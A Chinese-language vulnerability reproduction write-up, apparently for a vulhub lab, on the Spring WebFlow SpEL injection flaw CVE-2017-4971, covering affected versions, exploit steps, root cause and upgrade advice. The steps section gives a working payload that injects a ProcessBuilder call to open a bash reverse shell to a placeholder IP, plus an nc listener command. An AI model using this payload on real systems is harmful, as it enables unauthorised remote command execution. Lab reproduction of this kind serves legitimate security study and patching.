Skip to content

Latest commit

 

History

History
70 lines (35 loc) · 2.54 KB

Spring WebFlow 远程代码执行漏洞-CVE-2017-4971.md

File metadata and controls

70 lines (35 loc) · 2.54 KB

Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

漏洞描述

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行

影响范围

Spring Web Flow 2.4.0 – 2.4.4 注:官方停止支持的更早的版本也受影响。

不受影响的版本 Spring Web Flow 2.4.5

复现

随机账户登录

image-20220429162212820

填写信息后 抓包

image-20220429162350290

抓包之后,在 _eventId_confirm=&_csrf=57033da7-4538-42ec-9933-e12ac3e97db5字段后面添加payload

如下图:

payload:将ip改为需要反弹shell的ip,端口自定义

&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/10086+0>%261")).start()=vulhub

不能发送到重放界面,采用了csrf的token验证,直接Fonward放包即可

image-20220429162547700

利用nc监听端口 nc -lvvp xxxx

放包后成功反弹shell

image-20220429162841135

原理

就是在订阅酒店处,存在一个命令执行,直接调用了两个函数,这两个函数,一个是:addDefaultMappings ,一个是 addModelBindings。

其中,直接控制field这个值的函数是addDefaultMappings,且未做过滤,而addModelBindings是直接获取的java的一个配置文件,由配置文件来确定是否有 binder 节点,如果有,就无法触发代码执行。所以条件有两个:

(1)binder节点为空;

(2) useSpringBeanBinding 默认值(false)未修改。

由此可实际在代码中找到该页面,节点为空(代替命令执行语句)+默认值为false(点击Confirm按钮)

漏洞修复

建议相关版本的用户采取如下措施进行缓解

2.4.x用户升级到2.4.5 建议在视图状态中始终使用显式数据绑定声明, 以防止表单提交在不应设置的目标对象上设置字段。 Spring Web Flow with JSF 的用户不受到影响.